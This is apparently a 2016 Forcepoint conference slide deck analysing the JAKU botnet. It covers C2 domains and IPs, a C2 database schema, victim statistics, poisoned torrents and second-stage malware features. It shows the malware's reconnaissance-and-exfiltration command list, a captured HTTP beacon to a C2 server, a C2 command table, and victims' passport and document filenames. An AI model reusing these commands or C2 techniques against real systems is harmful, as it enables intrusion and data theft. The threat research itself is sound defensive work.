JAKU – Analysis of a Botnet Campaign ICANN56

Andy Settle
Head of Special Investigations
Forcepoint Security Labs
ANDY SETTLE - HEAD OF SPECIAL INVESTIGATIONS

Previously:
- **Thales UK** – Head of UK Cyber Security Practice
- **Raytheon UK** – Chief Cyber Security Consultant
- 25+ Years Independent Consultant. Clients including:
  - NATO
  - BT, Citibank, IBM, Fujitsu Defence
  - .GG & .JE ccTLDs

Also:
- Advisor to UK Government as a member of the **CPNI** Security Researcher’s Information Exchange
- Serving **British Army Officer** (Reserves)
- Member of the **Chartered Management Institute**
- Member of the **British Computer Society**
- Assessor to UK **Cyber Security Challenge**
- Registered UK Schools **STEM Ambassador**

Buzzwords:
JAKU- Episode I

First stage malware and making your own luck
SO WHAT? – PIVOTING AND MAKING YOUR OWN LUCK

THE DARKHOTEL APT
A STORY OF UNUSUAL HOSPITALITY

Version 1.1
November, 2014

Global Research and Analysis Team

KASPERSKY

PASSIVE DNS

bbsbox.strangled.net
benz.strangled.net
benz.wikaba.com
blog3.serveblog.net
boardchk.strangled.net
browny.ddns.net
combiz.user32.com
cometome.yourtrap.com
cominor.com
cpanel.epismile.com.sg
cpanel.hash-tech.com
cpanel.roborobo.com.sg
cuteminisexidude.com
decrypt.dnsd.info
decrypt.info.tm
dns53.ignorelist.com
file2.strangled.net
forum.bbsindex.com

FORUM

ITERATE

DNS

IP

WEB SERVER

KNOWN PATHS

• CSS
• BIN
• TEST
• BBS
• IMG

forum.serveblog.net
ftp.mornor.com
mail.mailserverthai.com
mail.mornor.com
mailserverthai.com
minicooper.chickenkiller.com
minicooper.ddns.com
mob_adv.com
mor1.vps-leo.com
mor2.vps-roc.com
mornor.com
mornor.net
movie.finet.org
movieadd.mooo.com
myforum.info.tm
ns1.thefince.com
ns2.thefince.com
pic.ezua.com
pic.zzux.com

pic3.mooo.com
sign.neon.org
sweetbrowny.mooo.com
torrent.dnsd.info
torrent.ddns.net
torrent.gotgeeks.com
torrent.serveblog.net
torrent1.coza.ro
torrent1.finet.org
torrent3.bbsindex.com
torrentfiles.ddns.net
webmail.mailserverthai.com
winchk.bbsindex.com
www.bssupdates.com.xa.com
www.comix.mornor.com
www.mailserverthai.com
www.mob-adv.com
www.mornor.com
www.thefince.com

Copyright © 2016 Forcepoint. All rights reserved.
## Index of /img

<table>
<thead>
<tr>
<th>Icon</th>
<th>Name</th>
<th>Last modified</th>
<th>Size</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>[DIR]</td>
<td>Parent Directory</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>[IMG]</td>
<td>near.jpg</td>
<td>09-Dec-2015 19:59</td>
<td>451M</td>
<td></td>
</tr>
</tbody>
</table>

Apache/2.2.21 (Unix) DAV/2 mod_ssl/2.2.21 OpenSSL/1.0.0c PHP/5.3.8 mod_apreq2=20090110/2.7.1 mod_perl/2.0.5 Perl/v5.10.1 Server at pic3.mooo.com Port 80
SEEK, AND YE SHALL FIND?

```bash
$ file near.jpg
near.jpg: SQLite 2.x database

$ sqlite near.jpg .schema
CREATE TABLE child (uid TEXT PRIMARY KEY, version REAL, pip TEXT, info TEXT, infoupptime INTEGER, iplist TEXT, instime INTEGER, lasttime INTEGER, downfile TEXT, downver REAL);
CREATE TABLE dist2 (id INTEGER PRIMARY KEY, pubdownfile TEXT, pubdownver REAL, pubdowncnt INTEGER, pridownfile TEXT, pridownver REAL, pridowncnt INTEGER);
CREATE TABLE history (id INTEGER PRIMARY KEY, uid TEXT, ctime INTEGER);
CREATE TABLE tvdist (id INTEGER PRIMARY KEY, tvdownfile TEXT, tvdownver REAL, tvdowncnt INTEGER);
CREATE INDEX idx_instime ON child(instime);
CREATE INDEX idx_lasttime ON child(lasttime);
CREATE INDEX idx_version ON child(version);
```
## DOCUMENTING THE FINDINGS

<table>
<thead>
<tr>
<th>COLUMN</th>
<th>DESCRIPTION</th>
</tr>
</thead>
<tbody>
<tr>
<td>UID</td>
<td>A unique identifier of the victim. This allows the C2 server to track victims if and when their IP address changes.</td>
</tr>
<tr>
<td>VERSION</td>
<td>A unique identifier for the version of the malware on the victim machine.</td>
</tr>
<tr>
<td>PIP</td>
<td>The public IP address of the victim. This is updated as and when the victim machines external IP address changes.</td>
</tr>
<tr>
<td>INFO</td>
<td>The details gathered by the malware from the victim machine.</td>
</tr>
<tr>
<td>INFOUPTIME</td>
<td>The date/time that the INFO field was updated in the database. Believed to be the data/time on the C2 server.</td>
</tr>
<tr>
<td>IPLIST</td>
<td>A list of IP addresses from all the victim machines network interfaces.</td>
</tr>
<tr>
<td>INSTIME</td>
<td>The date/time that the malware was originally installed on the victim machine.</td>
</tr>
<tr>
<td>LASTTIME</td>
<td>The date/time of the last beacon received by the C2 server from the malware on the victim machine.</td>
</tr>
</tbody>
</table>
### EXAMPLE DATA - PROCESSES AND FILENAMES

<table>
<thead>
<tr>
<th>Image Name</th>
<th>PID</th>
<th>Services</th>
</tr>
</thead>
<tbody>
<tr>
<td>System Idle Process</td>
<td>0</td>
<td>N/A</td>
</tr>
<tr>
<td>System</td>
<td>4</td>
<td>N/A</td>
</tr>
<tr>
<td>smss.exe</td>
<td>232</td>
<td>N/A</td>
</tr>
<tr>
<td>...</td>
<td></td>
<td></td>
</tr>
<tr>
<td>winlogon.exe</td>
<td>456</td>
<td>N/A</td>
</tr>
<tr>
<td>services.exe</td>
<td>500</td>
<td>N/A</td>
</tr>
<tr>
<td>lsass.exe</td>
<td>516</td>
<td>KeyIso, SamSs</td>
</tr>
<tr>
<td>lsm.exe</td>
<td>924</td>
<td>N/A</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>636</td>
<td>DcomLaunch, PlugPlay, Power</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>708</td>
<td>RpcEptMapper, RpcSs</td>
</tr>
<tr>
<td>...</td>
<td></td>
<td></td>
</tr>
<tr>
<td>explorer.exe</td>
<td>2348</td>
<td>N/A</td>
</tr>
<tr>
<td>hpwuschd2.exe</td>
<td>2448</td>
<td>N/A</td>
</tr>
<tr>
<td>HPStatusAlerts.exe</td>
<td>2464</td>
<td>N/A</td>
</tr>
<tr>
<td>Skype.exe</td>
<td>2488</td>
<td>N/A</td>
</tr>
<tr>
<td>SS Scheduler.exe</td>
<td>2504</td>
<td>N/A</td>
</tr>
<tr>
<td>SearchIndexer.exe</td>
<td>3132</td>
<td>WSearch</td>
</tr>
<tr>
<td>chrome.exe</td>
<td>3416</td>
<td>N/A</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>3440</td>
<td>FontCache, SSDPSRV, upnphost</td>
</tr>
<tr>
<td>...</td>
<td></td>
<td></td>
</tr>
<tr>
<td>chrome.exe</td>
<td>4028</td>
<td>N/A</td>
</tr>
<tr>
<td>chrome.exe</td>
<td>2248</td>
<td>N/A</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>6508</td>
<td>WinDefend</td>
</tr>
<tr>
<td>...</td>
<td></td>
<td></td>
</tr>
<tr>
<td>taskeng.exe</td>
<td>608</td>
<td>N/A</td>
</tr>
<tr>
<td>Services.exe</td>
<td>1408</td>
<td>N/A</td>
</tr>
<tr>
<td>WmiPrvSE.exe</td>
<td>2176</td>
<td>N/A</td>
</tr>
<tr>
<td>WmiPrvSE.exe</td>
<td>3088</td>
<td>N/A</td>
</tr>
<tr>
<td>TrustedInstaller.exe</td>
<td>3832</td>
<td>TrustedInstaller</td>
</tr>
<tr>
<td>TVC15.exe</td>
<td>3780</td>
<td>N/A</td>
</tr>
<tr>
<td>conhost.exe</td>
<td>3284</td>
<td>N/A</td>
</tr>
<tr>
<td>tasklist.exe</td>
<td>2872</td>
<td>N/A</td>
</tr>
</tbody>
</table>

---

Honeycam 2015-09-24 23-57-13
House.of.Tolerance.201.KORSUB.x264.AC3-ADiOS

KWANGHO Passport
NOORI Passport
passport ID.pdf
Astaneh Passport.pdf
Passport Goudarzi.png
Passport Rastegar.jpg
Passport Taghizadeh.pdf
Passport Taheri.jpg
PASSPORT LEEJAEYOUNG.jpg
Ling Yok Ung Passport
My Passport (F)

2015 DPRK Funding with comments DPRK 260615.doc
Color coded DPRK Proposal to ****** 2016 – 2018-DM
DPRK DL workshop programme DAY One, docx
DPRK 2016 funding Analysis Mar 2016.xlsx

Copyright © 2016 Forcepoint. All rights reserved. | 9
FIRST STAGE - WHAT INFORMATION IS EXFILTRATED?

systeminfo
net use
net user
tasklist /svc
netstat -ano
dir "%USERPROFILE%\Recent"
dir "%APPDATA%\Microsoft\Windows\Recent"
dir /s/b "%USERPROFILE%\Favorites"
PIVOTING VIA WHAT WE NOW KNOW

<table>
<thead>
<tr>
<th>C2-NAME</th>
<th>IP-ADDRESS</th>
<th>AS-NUMBER</th>
<th>CDN-NAME</th>
<th>VICTIMS</th>
</tr>
</thead>
<tbody>
<tr>
<td>BLACK-SAPPHARUS</td>
<td>101.99.68.5</td>
<td>AS45839</td>
<td>PIRADIUS NET</td>
<td>5153</td>
</tr>
<tr>
<td>BLUE-MONKEY</td>
<td>43.252.36.195</td>
<td>AS45144</td>
<td>Net Onboard Sdn Bhd - Quality &amp; Reliable Cloud Hosting Provider</td>
<td>3925</td>
</tr>
<tr>
<td>BROWN-COOPER</td>
<td>103.13.229.20</td>
<td>AS23884</td>
<td>Proimage Engineering and Communication Co., Ltd.</td>
<td>1184</td>
</tr>
<tr>
<td>GREEN-SOUNDFIX</td>
<td>27.254.44.207</td>
<td>AS9891</td>
<td>CS LOXINFO Public Company Limited.</td>
<td>327</td>
</tr>
<tr>
<td>GREY-TAI</td>
<td>202.142.223.144</td>
<td>AS7654</td>
<td>Internet Solution &amp; Service Provider Co., Ltd.</td>
<td>3005</td>
</tr>
<tr>
<td>ORANGE-HOWL</td>
<td>27.254.96.222</td>
<td>AS9891</td>
<td>CS LOXINFO Public Company Limited.</td>
<td>4204</td>
</tr>
<tr>
<td>PINK-COW</td>
<td>27.254.55.23</td>
<td>AS9891</td>
<td>CS LOXINFO Public Company Limited.</td>
<td>2242</td>
</tr>
<tr>
<td>RED-RACCOON</td>
<td>[REDACTED]</td>
<td>AS45144</td>
<td>Net Onboard Sdn Bhd - Quality &amp; Reliable Cloud Hosting Provider</td>
<td>10</td>
</tr>
<tr>
<td>RED-RACCOON</td>
<td>[REDACTED]</td>
<td>AS24218</td>
<td>Global Transit Communications - Malaysia</td>
<td>17</td>
</tr>
<tr>
<td>RED-RACCOON</td>
<td>[REDACTED]</td>
<td>AS23884</td>
<td>Proimage Engineering and Communication Co., Ltd.</td>
<td>10</td>
</tr>
<tr>
<td>VIOLET-FOX</td>
<td>27.254.96.223</td>
<td>AS9891</td>
<td>CS LOXINFO Public Company Limited.</td>
<td>1187</td>
</tr>
<tr>
<td>YELLOW-BOA</td>
<td>202.150.220.93</td>
<td>AS38001</td>
<td>NewMedia Express Pte Ltd. Singapore Web Hosting Service Provider</td>
<td>3236</td>
</tr>
</tbody>
</table>
DATA LOCATIONS & VICTIM COUNT
TOTAL NUMBER OF VICTIMS PER SERVER

0 1000 2000 3000 4000 5000 6000


BLACK-SAPHARUS BROWN-COOPER GREY-THAI YELLOW-BOA
RED-RACOON GREEN-SOUNDFIX PINK-COW ORANGE-HOWL
VIOLET-FOX BLUE-MONKEY
WHAT DO WE KNOW ABOUT THE VICTIMS?

Victims Countries
- Korea: 42%
- Japan: 31%
- China: 9%
- US: 6%
- OTHERS: 12%

Victim Languages
- Korean: 43%
- Japanese: 30%
- English: 13%
- Chinese: 10%
- OTHERS: 4%
VICTIMS LOCATIONS – AMERICAS & EMEA
VICTIMS LOCATIONS – KOREA & JAPAN
POISONED BITTORRENTS

Poisoned Files

- mario-gun.exe
- DjVuSolo3.1-noncom.exe
- fp801.exe
- driver_booster_setup.exe
- uiso9_pe.exe
- K-Lite_Codec_Pack_1120_Basic.exe
- Wxtract
- winrar-x64-500.exe
- wrar500.exe
- pcsx2.exe
Software Piracy. Over 50% of the victim computers were found to be running counterfeit copies of Microsoft Windows.

Corporate Victims. Amongst the JAKU victims the number of corporate victims is significantly low. The proportion of victim computers that are a member of a Microsoft Windows domain, rather than workgroups or as standalone systems is less than 1% of all victims. This is calculated on 153 unique victims matching the corporate criteria.

Dwell Time. The length of time a botnet victim is infected for is referred to as the dwell time. For those identified as corporate victims the mean dwell time is 93 days with the maximum observed being 348 days. For the non-corporate the figures vary wildly and in a number of cases the systems appear to be either re-infected or are infected by a number of variants (versions) of the malware.
JAKU – HEADLINES

Piracy. The prevalence of users/victims who are running counterfeit installations of Microsoft Windows®, downloading ‘warez’ software and using BitTorrent software to illegally obtain these as well as other copyright protected material, such as movies and music.

C2 Databases. The use of SQLite files to collate and manage the botnet members, their structure and the use of version numbering.

Poisoned BitTorrents. The technique of threat actors deploying torrent files onto torrent sites that are pre-infected with malware has not been widely seen before, especially with respect to BitTorrent-types of attack. This behaviour is difficult to trace and track and is indiscriminate in its infection pattern unless it has some means of targeting desired demographics.

Resilient C2 Channels. Stage two of one piece of malware has three inbuilt Command and Control (C2) mechanisms. This level of resilience is not accidental, but rather, such investment and effort is usually indicative of the perceived value of the target.

High Value Targets. Within the noise of thousands of seemingly indiscriminate botnet victims, the JAKU campaign performs a separate, highly targeted operation.
JAKU – Episode II

2nd Stage malware, code re-use and precision targeting
2nd Stage Malware – Hiding in Plain Sight

Malware embedded in ‘fake’ PNG files

Bad RC4 Encryption

LZH – LZ Huffman compression algorithm

Bitdefender – AV Detection

Stealth Injection – ‘explorer.exe’

Service Installation

Reverse Engineering
POST http://101.99.68.5/bbs/CaC.php HTTP/1.1
Content-Type: multipart/form-data; boundary=--HC-MPFD-BOUNDARY
Content-Length: 320
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Host: 101.99.68.5
Proxy-Connection: Keep-Alive
Pragma: no-cache
R2D3 – WEB LIBRARY (REUSE)
Look, I’m NOT red and I’m NOT a Raccoon!
RED RACCOON – PRECISION TARGETING?
C3PRO – SECURE FILE DELETION (REUSE)

The **file deletion routine** has been taken and **recoded** from publicly available code

Originally written by John Underhill, it was called ‘Secure File Shredder’

The routine used in the malware even contains the same **coding errors** made, where file are renamed 780 times (30 * 26) instead of the intended 30

The **only difference** is that the file truncation is only performed once in the malware, rather than 10 times as in Underhill's code

The purpose of this code is to **prevent advanced forensics techniques** from being able to recover the deleted files

*Special Investigations contacted John who we must thank for his cooperation.*
# C3PRO – DNS COMMAND & CONTROL CHANNEL

<table>
<thead>
<tr>
<th>COMMAND</th>
<th>PURPOSE</th>
</tr>
</thead>
<tbody>
<tr>
<td>go</td>
<td>This just means &quot;OK - no action to take&quot;</td>
</tr>
<tr>
<td>ti</td>
<td>Change wait/sleep time between DNS C2 attempts</td>
</tr>
<tr>
<td>sh</td>
<td>Not implemented by author</td>
</tr>
<tr>
<td>fs</td>
<td>Start UDT based C2 module</td>
</tr>
<tr>
<td>ts</td>
<td>Start secondary C2 module</td>
</tr>
<tr>
<td>dl</td>
<td>Inject a DLL into a process via remote thread in explorer.exe</td>
</tr>
<tr>
<td>du</td>
<td>Unload DLL from current process via remote thread in explorer.exe</td>
</tr>
<tr>
<td>de</td>
<td>Securely delete file (write/read 4 times, rename 900 times, truncate to 0 size, then delete)</td>
</tr>
<tr>
<td>cm</td>
<td>Execute command-line utility (%COMSPEC%) with parameter and send results to C2 over DNS</td>
</tr>
<tr>
<td>cu</td>
<td>Send computer information to C2 over DNS</td>
</tr>
<tr>
<td>ex</td>
<td>Execute command via WinExec but do not send back the results to C2 server</td>
</tr>
</tbody>
</table>

Encoded system Name and MAC address of victim machine every ~3 minutes
“UDT is a reliable UDP based application level data transport protocol for distributed data intensive applications over wide area high-speed networks. UDT uses UDP to transfer bulk data with its own reliability control and congestion control mechanisms. The new protocol can transfer data at a much higher speed than TCP does. UDT is also a highly configurable framework that can accommodate various congestion control algorithms.”

The ability for malware to concurrently support three separate, custom built C2 channels is more advanced than the majority of malware currently observed.

This offers insight into the amount of effort the malware author has expended to ensure that the malware is stealthy and resilient.
THE POWER OF COLLABORATION – MAKING NEW FRIENDS

CERTS
- UK
- Dutch
- Japanese
- Canadian
- Korean

Law Enforcement
- NCA UK
- Tokyo Police

Vendors
- Microsoft
Piracy. The prevalence of users/victims who are running counterfeit installations of Microsoft Windows®, downloading ‘warez’ software and using BitTorrent software to illegally obtain these as well as other copyright protected material, such as movies and music.

C2 Databases. The use of SQLite files to collate and manage the botnet members, their structure and the use of version numbering.

Poisoned BitTorrents. The technique of threat actors deploying torrent files onto torrent sites that are pre-infected with malware has not been widely seen before, especially with respect to BitTorrent-types of attack. This behaviour is difficult to trace and track and is indiscriminate in its infection pattern unless it has some means of targeting desired demographics.

Resilient C2 Channels. Stage two of one piece of malware has three inbuilt Command and Control (C2) mechanisms. This level of resilience is not accidental, but rather, such investment and effort is usually indicative of the perceived value of the target.

High Value Targets. Within the noise of thousands of seemingly indiscriminate botnet victims, the JAKU campaign performs a separate, highly targeted operation.
Thank you!

Andy Settle

<asettle@forcepoint.com>

@iC3N1

http://blogs.forcepoint.com/security-labs/